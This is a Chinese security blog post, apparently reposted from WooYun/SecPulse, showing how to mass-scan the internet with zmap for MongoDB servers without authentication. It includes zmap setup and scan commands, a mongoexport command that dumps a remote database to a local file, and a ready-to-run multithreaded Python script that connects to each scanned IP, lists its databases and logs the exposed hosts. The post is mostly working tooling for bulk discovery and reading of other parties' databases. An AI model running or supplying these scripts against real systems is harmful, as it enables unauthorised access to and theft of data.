安装环境:
sudo apt-get install build-essential cmake libgmp3-dev libpcap-dev gengetopt byacc flex git dwarfdump
下载zmap:
git clone git://github.com/zmap/zmap.git
安装zmap:
cmake -DENABLE_HARDENING=ON
make && make install
(kali安装zmap还需要另外安装json-c)
个人比较喜欢用配置文件来扫描。
zmap -C /etc/zmap/zmap.conf -o output.txt
用python写了个批量验证zmap的扫描结果是否存在未授权访问的脚本。
一开始的代码没设置超时,结果发现才跑了一下子就卡住了,查了半天pymongo的官方文档,找到了connectTimeoutMS、socketTimeoutMS这两个参数。
设置连接超时connectTimeoutMS,不知道为啥没起作用,又改成设置socket的超时时间socketTimeoutMS才有效。
pymongo默认连接数为100,所以代码中的线程数为99,大家可自调。
//SP小编描述:
附上pymongo package下载地址 否则就(ImportError: No module named pymongo)
最近wooyun上有队狂提mongodb和redis未授权的漏洞,这个跟当初的rsync一样频繁,扫描结果来个批量验证是极好的。
mongodb远程导出成json:
D:\mongodb\bin>mongoexport.exe -h www.secpulse.com -d Database -c Table -o C:\temp\user.dat
connected to: www.secpulse.com
exported xx records
附上经过SP小编大改后的习科联创多线程验证脚本:
使用方法:mongodb.py output.txt (注:会生成结果到secpulse.txt)
#!/usr/bin/env python #-*- coding:utf-8 -*- import sys import pymongo import threading from Queue import Queue def conn(addr): try: conn = pymongo.MongoClient(addr,27017,socketTimeoutMS=3000) dbname = conn.database_names() if dbname: print "Success Ip: %s" % addr print "show dbs:" with open("secpulse.txt","a") as af: af.write(addr+"\n") for i in dbname: b = " %s" % i print b with open("secpulse.txt","a") as af: af.write(b+"\n") conn.close() except: print "%s connection was failed" % addr class MyThread(threading.Thread): def __init__(self): threading.Thread.__init__(self) def run(self): global queue while not queue.empty(): ip = queue.get() conn(ip) if __name__ == "__main__": queue = Queue() a = open(sys.argv[1],'r') for ip in a.readlines(): ip = ip.strip('\n') queue.put(ip) for i in range(99): c = MyThread() c.start()
【本文来源:wooyun zone SP小编编辑整理】